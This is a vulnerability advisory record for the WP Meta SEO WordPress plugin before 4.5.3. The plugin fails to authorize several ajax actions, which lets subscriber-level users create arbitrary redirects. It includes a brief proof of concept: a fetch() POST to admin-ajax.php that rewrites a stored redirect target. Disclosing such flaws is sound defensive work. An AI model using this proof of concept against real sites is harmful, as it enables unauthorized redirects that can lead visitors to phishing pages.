Lucene search

K
wpvulndbDc11WPVDB-ID:1A8C97F9-98FA-4E29-B7F7-BB9ABE0C42EA
HistoryFeb 27, 2023 - 12:00 a.m.

WP Meta SEO < 4.5.3 - Subscriber+ Improper Authorization causing Arbitrary Redirect

2023-02-2700:00:00
dc11
wpscan.com
7
wp meta seo
authorization
arbitrary redirect
vulnerability

EPSS

0.001

Percentile

39.7%

The plugin does not authorize several ajax actions, allowing low-privilege users to make updates to certain data and leading to an arbitrary redirect vulnerability.

PoC

Visit, for example, the page ?p=99999. This should create the first auto redirect entry in the wp_wpms_links table with ID 1. Now log in as a subscriber and enter the following js code in your web console on the dashboard: fetch( ‘admin-ajax.php’, { method: ‘POST’, headers: {‘Content-Type’: ‘application/x-www-form-urlencoded’}, body:‘action=wpms&wpms;_nonce=’ + wpms_localize.wpms_nonce + “&task;=update_link_redirect&link;_id=1&link;_redirect=https://google.com” } ); Now load ?p=99999 again and notice that it redirects to https://google.com.

EPSS

0.001

Percentile

39.7%

Related for WPVDB-ID:1A8C97F9-98FA-4E29-B7F7-BB9ABE0C42EA